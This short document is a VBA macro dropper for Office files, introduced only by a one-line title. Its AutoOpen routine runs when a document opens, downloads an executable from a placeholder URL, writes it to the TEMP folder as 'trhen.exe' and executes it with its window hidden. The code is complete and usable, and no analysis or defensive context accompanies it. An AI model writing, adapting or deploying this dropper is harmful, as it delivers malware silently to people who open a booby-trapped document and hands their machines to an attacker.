A simple dropper used with Office macro

VBS macro dropper

Sub AutoOpen()
    Auto_Open
End Sub

Sub Auto_Open()
    payloadURL = "<Download URL>"
    Dim req: Set req = CreateObject("Microsoft.XMLHTTP")
    Dim payloadStream: Set payloadStream = CreateObject("Adodb.Stream")
    req.Open "GET", payloadURL, False
    req.Send

    tmpDir = Environ("TEMP")
    exePath = tmpDir + "\trhen.exe"
    With payloadStream
        .Type = 1
        .Open
        .write req.ResponseBody
        .savetofile exePath, 2
    End With
    
    Set WshShell = CreateObject("WScript.Shell")
    cmds = WshShell.Run(exePath, 0, True)
    Set WshShell = Nothing
End Sub